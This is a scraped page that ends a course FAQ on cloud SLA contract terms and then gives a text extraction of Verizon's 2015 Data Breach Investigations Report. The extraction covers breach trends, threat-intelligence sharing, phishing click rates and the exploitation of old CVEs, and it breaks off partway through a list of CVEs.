remedy' clauses? A: Because they limit your right to pursue additional damages in cases of gross negligence. * Q: What is the recommended credit percentage for missed SLAs? A: 15% credit payment is a typical calibration for a total of 100 points. * Q: What should be defined regarding data removal? A: The customer's ability to remove data from the cloud and the mechanisms for doing so. * Q: What is a 'Service Level Objective' vs. SLA? A: An objective is a target; an SLA is a contract with penalties. * Q: Who is the author of this article? A: Jonathan Shaw, a principal at Pace Harmon. * Q: What date was this article published? A: 9/28/2011. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgamR0YXpSOTA2Xzg/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgamR0YXpSOTA2Xzg/view?usp=sharing]** i VERIZON ENTERPRISE SOLUTIONS2015 DBIR Contributors (See Appendix C for a detailed list.) 2015 DATA BREACH INVESTIGATIONS REPORT ii iii VERIZON ENTERPRISE SOLUTIONSCONTENTS Introduction ........................................................................................................................................................................... 1 Victim Demographics ........................................................................................................................................................ 2 Breach Trends: “Looking Back Before Diving Ahead” ......................................................................................... 4 Before and Beyond the Breach ...................................................................................................................................... 7 Indicators of Compromise: “Sharing Is Cyber-Caring” ....................................................................................... 8 Phishing: “Attn: Sir/Madam” ......................................................................................................................................... 12 Vulnerabilities: “Do We Need Those Stinking Patches?” ................................................................................. 15 Mobile: “I Got 99 Problems and Mobile Malware Isn’t Even 1% of Them” ............................................... 18 Malware: “Volume, Velocity, and Variation” .......................................................................................................... 21 Industry Profiles: “Raising the Stakes with Some Takes on NAICS” .......................................................... 24 Impact: “In the Beginning, There Was Record Count” ....................................................................................... 27 Incident Classification Patterns ................................................................................................................................ 31 Point-of-Sale Intrusions ...................................................................................................................................... 35 Payment Card Skimmers ...................................................................................................................................... 37 Crimeware ................................................................................................................................................................... 39 Web App Attacks ..................................................................................................................................................... 41 Denial-of-Service Attacks .................................................................................................................................. 43 Physical Theft/Loss ............................................................................................................................................... 45 Insider Misuse ........................................................................................................................................................... 46 Miscellaneous Errors ............................................................................................................................................. 49 Cyber-Espionage ..................................................................................................................................................... 52 Wrap-Up ................................................................................................................................................................................. 55 Appendix A: Year in Review .......................................................................................................................................... 57 Appendix B: Methodology ............................................................................................................................................. 59 Appendix C: Contributing Organizations ............................................................................................................... 61 Appendix D: The Internet of Things .......................................................................................................................... 62QUESTIONS? COMMENTS? BRILLIANT IDEAS? We want to hear them. Drop us a line at dbir@verizon.com , find us on Linked in, or tweet @VZdbir with the hashtag #dbir. 2015 DATA BREACH INVESTIGATIONS REPORT 1Welcome (and welcome back), friends, to our annual showcase of security breaches. We’re so glad you could attend; come inside, come inside. The year 2014 saw the term “data breach” become part of the broader public vernacular with The New York Times devoting more than 700 articles related to data breaches, versus fewer than 125 the previous year.2 It was the year major vulnerabilities received logos (collect them all!) and needed PR IR firms to manage their legions of “fans.” And it was the year when so many high-profile organizations met with the nigh inevitability of “the breach” that “cyber” was front and center at the boardroom level. The real sign of the times, however, was that our moms started asking, “Is that what you do, dear?” and seemed to finally get what we do for a living. The 2015 Data Breach Investigations Report (DB iR) continues the tradition of change with additions that we hope will help paint the clearest picture yet of the threats, vulnerabilities, and actions that lead to security incidents, as well as how they impact organizations suffering them. i n the new “Before and Beyond the Breach” section, our security data scientists analyzed (literally) dozens of terabytes of data from partners new and old, making this one of the most collaborative, data-driven information security ( infoSec) reports in existence. i f you’re accustomed to reading the DB iR mainly for the headliners and one-liners, you might need to coffee up and put your thinking cap on for this one. But it’ll be worth it; we promise. Fret not, “incident pattern” aficionados—the nefarious nine are back, but they have slimmed down a bit, as you’ll see when you get to that section. Speaking of partners, the DB iR would not be possible without our 70 contributing organizations. We continue to have a healthy mix of service providers, i R/forensic firms, international Computer Security i nformation Response Teams (CS iRTs), and government agencies, but have added multiple partners from security industry verticals to take a look at a broad spectrum of real- world data. Their willingness to share data and actionable insight has made our report a hallmark of success in information sharing. For that, each of them3 has our respect and gratitude. if you’re curious about what, how, and why we did what you see before you, flip to Appendix B, where we discuss sample bias, methodology, and other details of the research efforts making up the report. To further encourage readers to try this at home, we’ve included a “How do i learn more?” component in each relevant section, which should help you start or grow your own data- driven security practices. 4 1 These numbers are based on the total data in the 2015 DB iR complete corpus. Read more about our methodology in (of all places) Appendix B: Methodology. 2 Search terms “data AND breach” for calendar years 2013 and 2014 at nytimes.com/content/help/search/search/search.html . Fun fact: Taylor Swift only saw around 400 NYT articles for 2014. 3 Full list of partners and contributors in Appendix C. 4 One final note before we dive into the breaches: The DB iR team wished to mark the passing of Leonard Nimoy, as that event came during the creation of this report. We will all miss his humor, talent, and inspiration.INTRODUCTION 70 CONTRIBUTING ORGANIZATIONS 79,790 SECURITY INCIDENTS 2,122 CONFIRMED DATA BREACHES 61 COUNTRIES REPRESENTED 1 2 VERIZON ENTERPRISE SOLUTIONSThere’s probably a decent correlation between the populations of people who read movie credits and those who read the demographics section in a report. You might linger to be reminded of that actress’s name who was also in that movie you liked years back or see the bloopers at the end of a Jackie Chan film, but otherwise it’s a scramble for the door before the parking lot gets slammed. We, however, believe demographics are rather important. How else would you know if the findings are generally representative, if they’re relevant to your organization, and whether any animals were harmed during the making of this report? (There weren’t, but we definitely killed some brain cells as a team.) Such questions are important to proper interpretation and application of everything else that follows. Last year’s DB iR covered incidents affecting organizations in 95 countries; the updated tally for the 2015 report is 61. This obviously means that 34 countries got secured over the last year; great job, everyone . in truth, we don’t know what’s going on there—we have more contributors and more incidents than ever before. i n terms of volume, two-thirds of incidents occurred in the U.S., but that’s more reflective of our contributor base (which continues to expand geographically) than a measure of relative threat/vulnerability.VICTIM DEMOGRAPHICS Figure 1. Countries represented in combined caseload 61 THIS YEAR’S DBIR COVERS INCIDENTS AFFECTING ORGANIZATIONS IN 61 COUNTRIES. 2015 DATA BREACH INVESTIGATIONS REPORT 3Figure 2 provides the specs for both victim industries5 and size ranges. Don’t give much credence to the huge number for the Public sector; we have many government CS iRTs participating in this report, and they handle a high volume of incidents (many of which fall under regulatory reporting requirements). The four columns on the right filter out the noise of these incidents—many of which are rather mundane—by including only confirmed data breaches. The top three industries affected are the same as previous years: Public, Information, and Financial Services. The industries most affected look remarkably similar to prior years, and the top three are exactly the same: Public, i nformation, and Financial Services. Our overall take from these results remains consistent as well: No industry is immune to security failures. Don’t let a “that won’t happen to me because i ’m too X” attitude catch you napping. Other than that, we’ll refrain from further commentary on these demographics and simply encourage you to look them over to decide how relevant they are to your organization and whether they change the way you read/use this report. NUMBER OF SECURITY INCIDENTS CONFIRMED DATA LOSS INDUSTRY TOTAL SMALL LARGE UNKNOWN TOTAL SMALL LARGE UNKNOWN Accommodation ( 72) 368 181 90 97 223 180 10 33 Administrative ( 56) 205 11 13 181 27 6 4 17 Agriculture ( 11) 2 0 0 2 2 0 0 2 Construction ( 23) 3 1 2 0 2 1 1 0 Educational ( 61) 165 18 17 130 65 11 10 44 Entertainment ( 71) 27 17 0 10 23 16 0 7 Financial Services (52 ) 642 44 177 421 277 33 136 108 Healthcare ( 62) 234 51 38 145 141 31 25 85 information ( 51) 1,496 36 34 1,426 95 13 17 65 Management ( 55) 4 0 2 2 1 0 0 1 Manufacturing ( 31–33 ) 525 18 43 464 235 11 10 214 Mining ( 21) 22 1 12 9 17 0 11 6 Other Services (81 ) 263 12 2 249 28 8 2 18 Professional ( 54) 347 27 11 309 146 14 6 126 Public ( 92) 50,315 19 49,596 700 303 6 241 56 Real Estate (53 ) 14 2 1 11 10 1 1 8 Retail ( 44–45 ) 523 99 30 394 164 95 21 48 Trade ( 42) 14 10 1 3 6 4 0 2 Transportation ( 48–49 ) 44 2 9 33 22 2 6 14 Utilities ( 22) 73 1 2 70 10 0 0 10 Unknown 24,504 14 4 1 24,359 325 141 1 183 TOTAL 79,790 694 50,081 29,015 2,122 573 502 1,047 5 We use the North American i ndustry Classification System (NA iCS) for coding the victim industry. census.gov/eos/www/naicsINCIDENTS VS. BREACHES This report uses the following definitions: Security incident: Any event that compromises the confidentiality, integrity, or availability of an information asset. Data breach: An incident that resulted in confirmed disclosure (not just exposure) to an unauthorized party. We use this term interchangeably with “data compromise” in this report. Figure 2. Security incidents by victim industry and organization size 4 VERIZON ENTERPRISE SOLUTIONSThis is an annual report, and as such, it traditionally focuses on interesting developments over the previous year. Some aspects of the threat space change that quickly, but others undulate and evolve over a longer period of time. We don’t want to lose sight of either the forest or the trees, so before delving into updates on each incident pattern, let’s take a look at some of the longer- term trends and high-level findings from this year’s data. THREAT ACTORS Though the number of breaches per threat actor changes rather dramatically each year as we add new partners and more data, the overall proportion attributed to external, internal, and partner actors stays roughly the same. The stream plot for Figure 3 demonstrates this well and shows that overall trends in the threat actors haven’t shifted much over the last five years.BREACH TRENDS Looking Back Before Diving Ahead Figure 3. Actor categories over time by percent of actors 2010 2011 2012 2013 2014 0% 20% 40% 60% 80% 100% Partner Internal ExternalThreat actors: Virtually no change in overall proportion attributed to external, internal, and partner actors. 2015 DATA BREACH INVESTIGATIONS REPORT 5One of the most interesting changes in the threat actor category came to light when we started looking deeper into compound attacks (those with multiple motives). Last year, we added a motive to the Vocabulary for Event Recording and i ncident Sharing (VER iS) called “secondary” to better track these. We use it in combination with a primary motive to indicate that the victim was targeted as a way to advance a different attack against another victim. Strategic web compromises are a good example. i n these campaigns, a website is hacked to serve up malware to visitors in hopes that the actor’s true target will become infected. The actors have no real interest in the owner of the website other than using the owner to further the real attack. i n this year’s data set, we found that nearly 70% of the attacks where a motive for the attack is known include a secondary victim. The majority of these were not from espionage campaigns (thankfully), but from opportunistically compromised servers used to participate in denial-of- service (DoS) attacks, host malware, or be repurposed for a phishing site. In 70% of the attacks where we know the motive for the attack, there’s a secondary victim. THREAT ACTIONS instead of hitting you with a list of all the threat actions seen this year, we thought we would pare it down to the big movers. Back in 2010, malware was all about the keylogger, and we saw very few examples of phishing or RAM-scraping malware being used. Fast forward to today, and RAM scraping has grown up in a big way. This type of malware was present in some of the most high-profile retail data breaches of the year, and several new families of RAM scrapers aimed at point-of-sale (POS) systems were discovered in 2014. Phishing has also been on the rise since 2011, although the rate of growth has slowed in the last year. Meanwhile, venerable old keylogger malware has been in decline, having only been observed in about 5% of the breaches recorded in this year’s sample.Figure 4. Significant threat actions over time by percent 2010 2011 2012 2013 20140%20%40%60%80%100% Credentials RAM Scraper Phishing Spyware/KeyloggerRAM scraping has grown in a big way. This type of malware was present in some of the most high-profile retail breaches. 6 VERIZON ENTERPRISE SOLUTIONSBREACH DISCOVERY Figure 5 offers a new twist on one of our favorite charts from the 2014 DB iR. it contrasts how often attackers are able to compromise a victim in days or less (orange line) with how often defenders detect compromises within that same time frame (teal line). Unfortunately, the proportion of breaches discovered within days still falls well below that of time to compromise. Even worse, the two lines are diverging over the last decade, indicating a growing “detection deficit” between attackers and defenders. We think it highlights one of the primary challenges to the security industry. Unfortunately, the proportion of breaches discovered within days still falls well below that of time to compromise. if you’re desperate for good news, you’ll be happy to see that 2014 boasts the smallest deficit ever recorded and the trend lines appear a bit more parallel than divergent. We’ll see if that’s a trick or a budding trend next year. 67% 55% 55% 61% 67% 62% 67% 89% 62% 77% 45% 2004 2006 2008 2010 2012 20140%25%50%75%100%% WHERE “DAYS OR LESS”Time to Compromise Time to Discover Figure 5. The defender-detection deficit 60% IN 60% OF CASES, ATTACKERS ARE ABLE TO COMPROMISE AN ORGANIZATION WITHIN MINUTES. 2015 DATA BREACH INVESTIGATIONS REPORT 7It should be obvious by now that the DBIR crew doesn’t put much stock in maintaining the status quo. We don’t get very excited about just updating numbers and cranking out text. This project affords us a unique opportunity to explore amazing data provided by great companies, agencies, and organizations around the world, and we’re not keen on squandering that. We want to learn everything we can and then share our findings in the hope that it leads to better security awareness, understanding, and practice for us all. We dedicated more effort to exploring other areas that fall outside the traditional VERIS data points. Thus, after reviewing the data gathered for this report, we all agreed we’d be wasting a great opportunity if we merely updated findings for the nine incident patterns introduced last year. We just didn’t find many new “Aha!” discoveries to share with regard to those patterns, and so we decided to trim them down and dedicate more effort to exploring other areas of the data. That search led us to go “before and beyond” the breach to study things that relate to incidents in some way, but fall outside the traditional VER iS data points that drive the pattern-based analysis. The result is a collection of independent episodes rather than one long movie. So pop some popcorn, get comfy, and binge-watch this season’s adventures. CUE ’80 s TV-SHOW THEME MUSIC Episode 1 : indicators of Compromise: “Sharing i s Cyber-Caring” Episode 2 : Phishing: “Attn: Sir/Madam” Episode 3: Vulnerabilities: “Do We Need Those Stinking Patches?” Episode 4: Mobile: “ i Got 99 Problems, and Mobile Malware i sn’t Even 1% of Them” Episode 5: Malware: “Volume, Velocity, and Variation” Episode 6: industry Profiles: “Raising the Stakes with Some Takes on NA iCS” Episode 7: impact: “ in the Beginning, There Was Record Count” Episode 8: “internet of Things” (See Appendix D)BEFORE AND BEYOND THE BREACH We looked at new data that relates to breach events, but goes beyond traditional incident reporting. 8 VERIZON ENTERPRISE SOLUTIONSThreat intelligence indicators have become the new brass rings on the cybersecurity merry-go- round. These precious trinkets of compromise gain increasing status as more organizations and governments jump on the sharing bandwagon. We thought we would be remiss in our duties if we did not provide some analysis of “threat sharing” and/or “indicators of compromise” (IOC) to you, our valued DBIR readers. We’ll start with a bit of research performed by a new contributor to the DBIR, Niddel. GOTTA CATCH ’EM ALL For the past 18 months, Niddel has been collecting and analyzing open-source feeds of i P addresses and domain name indicators. Their goal was to evaluate a diverse array of indicators and understand how these sources of information can be leveraged to provide defenders with an asymmetrical advantage they so desperately lack. One of the most important experiments conducted was to determine the overlap between these feeds and whether or not there were any “special snowflakes” to be found. Niddel combined six months of daily updates from 54 different sources of i P addresses and domain names tagged as malicious by their feed aggregators. The company then performed a cumulative aggregation, meaning that if ever two different feeds were to mention the same indicator throughout the six-month experimental period, they would be considered to be in overlap on this specific indicator. To add some context to the indicator feeds being gathered, Niddel separated them in two large groups: • Inbound feeds that provide information on sources of scanning activity and spam/phishing e-mail. • Outbound feeds that provide information on destinations that serve either exploit kits or malware binaries, or provide locations of command-and-control servers. The results can be seen in Figure 6 (next page). We only see significant overlap on the inbound feeds, which can be found on the bottom left corner of the chart. Why? Two possible answers are: 1. Most of these feeds are actually drawing their aggregated feeds from the same honeypot sources. 2. Most of the attack sources are so nontargeted that they cover the entire i nternet address space and trigger all the different honeypots. Given the limited use of those inbound feeds on day-to-day security operations (everyone gets probed and scanned all the time), there is an interesting pattern that appears when you are looking at the results from the outbound feeds. Although everyone is also subjected to the same threats, the overlap in what is reported on those feeds is surprisingly small, even with a “long exposure photograph” of six months’ time.INDICATORS OF COMPROMISE Sharing Is Cyber-Caring Threat intelligence indicators are the new brass rings of cybersecurity. But is this threat sharing helpful? 2015 DATA BREACH INVESTIGATIONS REPORT 9When biologists want to measure the population of fish in a lake, they use a very simple statistical trick to avoid counting every single fish in there. They will gather, say, 100 fish from the lake and tag them, then promptly release them back to their natural habitat. Later, after they have given the poor animals some time to recover from the trauma, they will gather samples of fish from different parts of the lake. The percentage of tagged fish in each of the different parts of the lake can be used to create a statistical measure of what percentage of fish in the lake are our original 100 tagged scaly heroes, thus estimating the total population in the lake. Sadly, when you look at our malicious fish, the percentage of indicators that are unique to only one feed over our six-month period is north of 97% for the feeds that we have sampled. And that includes the much more overlapping inbound feeds. That means that our “malicious fish samplers” are only encountering less than 3% of overlap across all of them. 6 it is hard to draw a positive conclusion from these metrics, and it seems to suggest that if threat intelligence indicators were really able to help an enterprise defense strategy, one would need to have access to all of the feeds from all of the providers to be able to get the “best” possible coverage. This would be a Herculean task for any organization, and given the results of our analysis, the result would still be incomplete intelligence. There is a need for companies to be able to apply their threat intelligence to their environment in smarter ways so that even if we cannot see inside the whole lake, we can forecast which parts of it are more likely to have a lot of fish we still haven’t caught. 6 This is corroborated by a recent CMU study: Metcalf, L., Spring, J. M., Blacklist Ecosystem Analysis Update: 2014. resources.sei.cmu.edu/asset_files/WhitePaper/2015_019_001_ 428614.pdfAlthough everyone is subjected to the same threats, the overlap in what is reported on outbound feeds is surprisingly small. INBOUND OUTBOUND INBOUND OUTBOUND Figure 6. Comparison of overlap within indicator feeds 10 VERIZON ENTERPRISE SOLUTIONSWHAT EXACTL Y ARE WE SHARING? in response to all the buzz, many different companies, platforms, tools, schemas, and methods have arisen to facilitate the sharing of threat intelligence. One of our new contributors, ThreatConnect, is one such example and was kind enough to connect us with some intel on intel sharing. Using high-level data across 15 intel-sharing communities within ThreatConnect (some comprising distinct verticals, others a combination of regional or threat-focused participants), we aimed to gain insight into the types and level of data sharing and how these dynamics may differ across groups. COMMUNITYIP ADDRESSESE-MAIL ADDRESSESFILES HOSTS URLS Common Community 35.9% 1.0% 23.3% 33.0% 6.8% Event-Based Community #1 7 7.4% 0.1% 2.5% 19.5% 0.5% industry Community #1 16.5% 32.3% 6.3% 43.0% 1.9% industry Community #2 47.1 % 4.4% 10.3% 29.4% 8.8% industry Community #3 8.3% 0.3% 1.2% 8 7. 5% 2.7% industry Community #4 25.2% 2.4% 9.0% 58.6% 4.8% industry Community #5 50.9% 0.7% 1.3% 22.8% 24.4% industry Community #6 66.4% 0.6% 14.0% 13.8% 5.2% industry Community #7 59.1% 0.5% 1.4% 23.5% 15.5% industry Community #8 39.6% 3.0% 7. 7 % 36.9% 12.8% industry Community #9 51.5% 2.6% 12.6% 23.8% 9.5% Regional Threat Community #1 49.2% 0.3% i 4.5% 42.6% 3.4% Regional Threat Community #2 50.0% 1.1% 4.5% 30.8% 13.6% Subscriber Community 45.4% 1.2% 18.4% 24.4% 10.6% Threat-Based Community #1 50.3% 1.1% 11.0% 24.3% 13.3% Of course, the volume of indicators shared overall may be dependent on a number of factors ranging from frequency of activity, fidelity and availability of attack information, and available resources to produce such information. But aside from the idiosyncrasies of producers and consumers, the variety of shared threat information may boil down to organizational maturity and projected longevity of specific threats. YOU HERD IT HERE FIRST ideally, sharing intelligence should lead to a form of “herd alertness,” similar to the way plains animals warn each other when predators are nearby. This would seem to require that intelligence must be shared at a faster rate than the spread of attack in order to successfully warn the rest of the community. “How fast is that?” you might ask, and it’s a great question. To look into this, we brought in another contributor, RiskAnalytics, which supplies network “shunning” services as part of A iG’s CyberEdge cyber-insurance policies. The company leverages the most-commonly shared threat indicators ( iPs, domains, URLs) to monitor and distribute attack data across its client base, 7 which provides a good foundation for the question at hand. 75% of attacks spread from Victim 0 to Victim 1 within one day (24 hours). 7 We have aggregated the results but are not disclosing the population size. You can always ask RiskAnalytics how big its client base is.Figure 7. Frequency of indicator types by sharing communityOrganizations would need access to all threat intelligence indicators in order for the information to be helpful—a Herculean task. 2015 DATA BREACH INVESTIGATIONS REPORT 11Based on attacks observed by RiskAnalytics during 2014, 75% of attacks spread from Victim 0 to Victim 1 within one day (24 hours). Over 40% hit the second organization in less than an hour. That puts quite a bit of pressure on us as a community to collect, vet, and distribute indicator- based intelligence very quickly in order to maximize our collective preparedness. BEST WHEN USED BY … Let’s say, for the sake of argument, that we share indicators quickly enough to help subsequent potential victims. The next thing we need to know is how long we can expect those indicators to remain valid (malicious, active, and worthy of alerting/blocking). We return to the RiskAnalytics data set to study that important question. Figure 8 shows how long most i P addresses were on the block/alert list. We split the view up into Niddel’s inbound and outbound categories to see if that made a difference in longevity. While some hang around for a while (we restricted the graphic to seven days, but both charts have a fairly long tail), most don’t last even a day. Unfortunately, the data doesn’t tell us why they are so short-lived, but these findings track well with Niddel’s “cumulative uniqueness” observations. Ultimately, the data speaks to a need for urgency: The faster you share, the more you (theoretically) will stop. This is just one data source, though, and one that is geared toward threats of a more opportunistic, high-volume, and volatile nature (e.g., brute forcing, web app exploits, etc.) rather than more “low and slow” targeted attacks. To test whether these findings apply more broadly, we’d be happy to incorporate data from a wider range of willing participants next year. i n the meantime, we encourage others who have such data to share it. Only when we measure our intelligence systems will we know what they’re really doing for us and how we can improve them. But the overall takeaway would appear to be valid regardless: We need to close the gap between sharing speed and attack speed. CHOOSE THE WELL OVER THE FIRE HOSE Ultimately, what is presented here is good news (organizations are indeed sharing). However, we’d like to recommend that if you do produce threat intel, focus on quality as a priority over quantity. Where an opportunity for detection presents itself, seize it in the way that offers the greatest longevity for your efforts. Certainly, anything that leads to the discovery of an incident is worthwhile, but in most cases, context is key. Those consuming threat intelligence, let it be known: An atomic indicator has a life of its own that may not be shared with another. Focus less on being led to water and work on characterizing where the well resides. Expect more out of your communities, and where possible, reciprocating context enables a wider audience to make additional determinations that enable a broader defensive capability.3.5k4.9k3.4k10.8k3.2k9.0k2.8k7.9k3.5k8.4k6.3k11.2k1 234567DAYS ON LIST116.0k403.6k Inbound Outbound Figure 8. Count of indicators by days observed in at least one feedWe need to close the gap between sharing speed and attack speed. 12 VERIZON ENTERPRISE SOLUTIONS23% OF RECIPIENTS NOW OPEN PHISHING MESSAGES AND 11% CLICK ON ATTACHMENTS.Social engineering has a long and rich tradition outside of computer/network security, and the act of tricking an end user via e-mail has been around since AOL installation CDs were in vogue. Do you remember the “free cup holder” prank? Someone sending you an attachment that opened your CD-ROM drive was cute at the time, but a premonition of more malicious acts to come. The first “phishing” campaigns typically involved an e-mail that appeared to be coming from a bank convincing users they needed to change their passwords or provide some piece of information, like, NOW. A fake web page and users’ willingness to fix the nonexistent problem led to account takeovers and fraudulent transactions. Phishing campaigns have evolved in recent years to incorporate installation of malware as the second stage of the attack. Lessons not learned from the silly pranks of yesteryear and the all-but-mandatory requirement to have e-mail services open for all users has made phishing a favorite tactic of state-sponsored threat actors and criminal organizations, all with the intent to gain an initial foothold into a network. in the 2013 DB iR, phishing was associated with over 95% of incidents attributed to state- sponsored actors, and for two years running, more than two-thirds of incidents that comprise the Cyber-Espionage pattern have featured phishing. The user interaction is not about eliciting information, but for attackers to establish persistence on user devices, set up camp, and continue their stealthy march inside the network. For two years, more than two-thirds of incidents that comprise the Cyber-Espionage pattern have featured phishing. Financial motivation is also still alive and well in phishing attacks. The “old” method of duping people into providing their personal identification numbers or bank information is still around, but the targets are largely individuals versus organizations. Phishing with the intent of device compromise is certainly present, and there were hundreds of incidents in the Crimeware section that included phishing in the event chain. Regardless of motive, the next section will show that good things will come to those who bait.8 8 i f you think you have any better phishing puns, let minnow.PHISHING Attn: Sir/Madam 2015 DATA BREACH INVESTIGATIONS REPORT 13ONE PHISH, TWO PHISH in previous years, we saw phishing messages come and go and reported that the overall effectiveness of phishing campaigns was between 10 and 20%. This year, we noted that some of these stats went higher, with 23% of recipients now opening phishing messages and 11% clicking on attachments. Some stats were lower, though, with a slight decline in users actually going to phishing sites and giving up passwords. Now, these messages are rarely sent in isolation—with some arriving faster than others. Many are sent as part of a slow and steady campaign. 9 The numbers again show that a campaign of just 10 e-mails yields a greater than 90% chance that at least one person will become the criminal’s prey, and it’s bag it, tag it, sell it to the butcher (or phishmonger) in the store. How long does an attacker have to wait to get that foot in the door? We aggregated the results of over 150,000 e-mails sent as part of sanctioned tests by two of our security awareness partners and measured how much time had passed from when the message was sent to when the recipient opened it, and if they were influenced to click or provide data (where the real damage is done). The data showed that nearly 50% of users open e-mails and click on phishing links within the first hour. The reality is that you don’t have time on your side when it comes to detecting and reacting to phishing events. How long do you suppose you have until the first message in the campaign is clicked? Not long at all, with the median time to first click coming in at one minute, 22 seconds across all campaigns. With users taking the bait this quickly, the hard reality is that you don’t have time on your side when it comes to detecting and reacting to phishing events. THERE ARE PLENTY OF PHISH IN THE SEA We looked at organization demographics to see if one department or user group was more likely than another to fall victim to phishing attacks. Departments such as Communications, Legal, and Customer Service were far more likely to actually open an e-mail than all other departments. Then again, opening e-mail is a central, often mandatory component of their jobs. When we studied how many people actually clicked a link after they opened the e-mail, we found a great deal of overlap in the confidence intervals for each department…which is a fancy way of saying that we can’t say there’s a statistical difference between these departments. 9 Unless we’re talking about a very targeted spear-phishing campaign. 10 apwg.org/resources/apwg-reports50% NEARL Y 50% OPEN E-MAILS AND CLICK ON PHISHING LINKS WITHIN THE FIRST HOUR. Figure 9. APWG site and domains per month since 2012DOING MORE WITH LESS The payload for these phishing messages has to come from somewhere. Data from the Anti-Phishing Working Group (APWG)10 suggests that the infrastructure being used is quite extensive (over 9,000 domains and nearly 50,000 phishing URLs tracked each month across the Group’s members). The charts in Figure 9 also show that the attackers have finally learned a thing or two from the bounty of their enterprise breaches and may even have adopted a Lean Six Sigma approach to optimize operations.UNIQUE DOMAINS UNIQUE SITES 05,00010,00015,000 020,00040,00060,000 MAY 12 NOV 12 MAY 13 NOV 13 MAY 14 MAY 12 NOV 12 MAY 13 NOV 13 MAY 14COUNT 14 VERIZON ENTERPRISE SOLUTIONSSo what do we do about this? Hire only robots? Bring back command-line mail? There is obviously no one-shot antidote for the problem at hand. The general areas of focus are threefold: • Better e-mail filtering before messages arrive in user in-boxes • Developing and executing an engaging and thorough security awareness program • improved detection and response capabilities Taking measures to block, filter, and alert on phishing e-mails at the gateway is preferred, but no technological defense is perfect, which leads us straight to… people . There is some hope in this data in that three-quarters of e-mails are not opened or interacted with. We wondered if there was a way to bump that number up (e.g., by giving users a quick way to flag potential phishes and become a detective control), so we asked Ellen Powers, The M iTRE Corporation’s information Security Awareness Program Manager, about the effectiveness of making users part of the active defense against phishing. She noted that “M iTRE employees, our human sensor network, detect 10% of advanced cyber attacks that reach employee e-mail in-boxes.” Lance Spitzner, Training Director for the SANS Securing The Human program, echoes Ellen’s sentiments, noting that “one of the most effective ways you can minimize the phishing threat is through effective awareness and training. Not only can you reduce the number of people that fall victim to (potentially) less than 5%, you create a network of human sensors that are more effective at detecting phishing attacks than almost any technology.” “One of the most effective ways you can minimize the phishing threat is through awareness and training.” —Lance Spitzner, Training Director, SANS Securing The Human 2015 DATA BREACH INVESTIGATIONS REPORT 15Of all the risk factors in the InfoSec domain, vulnerabilities are probably the most discussed, tracked, and assessed over the last 20 years. But how well do we really understand them? Their link to security incidents is clear enough after the fact, but what can we do before the breach to improve vulnerability management programs? These are the questions on our minds as we enter this section, and Risk I/O was kind enough to join us in the search for answers. Risk i /O started aggregating vulnerability exploit data from its threat feed partners in late 2013. The data set spans 200 million+ successful exploitations across 500+ Common Vulnerabilities and Exposures (CVEs)11 from over 20,000 enterprises in more than 150 countries. Risk i /O does this by correlating S iEM logs, analyzing them for exploit signatures, and pairing those with vulnerability scans of the same environments to create an aggregated picture of exploited vulnerabilities over time. We focused on mining the patterns in the successful exploits to see if we could figure out ways to prioritize remediation and patching efforts for known vulnerabilities. ‘SPLOITIN TO THE OLDIES in the inaugural DB iR (vintage 2008), we made the following observation: For the overwhelming majority of attacks exploiting known vulnerabilities, the patch had been available for months prior to the breach [and 71% >1 year]. This strongly suggests that a patch deployment strategy focusing on coverage and consistency is far more effective at preventing data breaches than “fire drills” attempting to patch particular systems as soon as patches are released. We decided to see if the recent and broader exploit data set still backed up that statement. We found that 99.9% of the exploited vulnerabilities had been compromised more than a year after the associated CVE was published. Our next step was to focus on the CVEs and look at the age of CVEs exploited in 2014. Figure 10 arranges these CVEs according to their publication date and gives a count of CVEs for each year. Apparently, hackers really do still party like it’s 1999. The tally of really old CVEs suggests that any vulnerability management program should include broad coverage of the “oldies but goodies.” Just because a CVE gets old doesn’t mean it goes out of style with the exploit crowd. And that means that hanging on to that vintage patch collection makes a lot of sense. 11 Common Vulnerabilities and Exposures (CVE) is “a dictionary of publicly known information security vulnerabilities and exposures.”— cve.mitre.orgVULNERABILITIES Do We Need Those Stinking Patches? 99.9% OF THE EXPLOITED VULNERABILITIES WERE COMPROMISED MORE THAN A YEAR AFTER THE CVE WAS PUBLISHED. 1030507090 ’99 ’00 ’01 ’02 ’03 ’04 ’05 ’06 ’07 ’08 ’09 ’10 ’11 ’12 ’13 ’14 YEAR CVE WAS PUBLISHEDNUMBER OF PUBLISHED CVE/s.smcp EXPLOITEDFigure 10. Count of exploited CVEs in 2014 by CVE publish date 16 VERIZON ENTERPRISE SOLUTIONSNOT ALL CVES ARE CREATED EQUAL if we look at the frequency of exploitation in Figure 11, we see a much different picture than what’s shown by the raw vulnerability count of Figure 12. Ten CVEs account for almost 97% of the exploits observed in 2014. While that’s a pretty amazing statistic, don’t be lulled into thinking you’ve found an easy way out of the vulnerability remediation rodeo. Prioritization will definitely help from a risk-cutting perspective, but beyond the top 10 are 7 million other exploited vulnerabilities that may need to be ridden down. And therein, of course, lies the challenge; once the “mega-vulns” are roped in (assuming you could identify them ahead of time), how do you approach addressing the rest of the horde in an orderly, comprehensive, and continuous manner over time? FROM PUB TO PWN if Figure 11—along with our statement above from 2008—advocates the tortoise method of vulnerability management (slow and steady wins the race), then Figure 12 prefers the hare’s approach. And in this version of the parable, it might just be the hare that’s teaching us the lesson. Half of the CVEs exploited in 2014 fell within two weeks. What’s more, the actual time lines in this particular data set are likely underestimated due to the inherent lag between initial attack and detection readiness (generation, deployment, and correlation of exploits/signatures). These results undeniably create a sense of urgency to address publicly announced critical vulnerabilities in a timely (and comprehensive) manner. They do, however, beg the question: What constitutes a “critical vulnerability,” and how do we make that determination? WHAT’S IN A SCORE, THAT WHICH WE ALL COMPOSE? The industry standard for rating the criticality of vulnerabilities is CVSS, 12 which incorporates factors related to exploitability and impact into an overall base score. Figure 13 (next page) displays the CVSS scores for three different groupings of CVEs: all CVEs analyzed (top), all CVEs exploited in 2014 (middle), and CVEs exploited within one month of publication (bottom). The idea is to determine which CVSS factors (if any) pop out and thus might serve as a type of early warning system for vulnerabilities that need quick remediation due to high likelihood of exploitation. 12 The Common Vulnerability Scoring System (CVSS) is designed to provide an open and standardized method for rating iT vulnerabilities.0%20%40%60%80%100% CVE−1999−0517 CVE−2001−0540 CVE−2002−0012 CVE−2002−0013 CVE−2014−3566 CVE−2012−0152 CVE−2001−0680 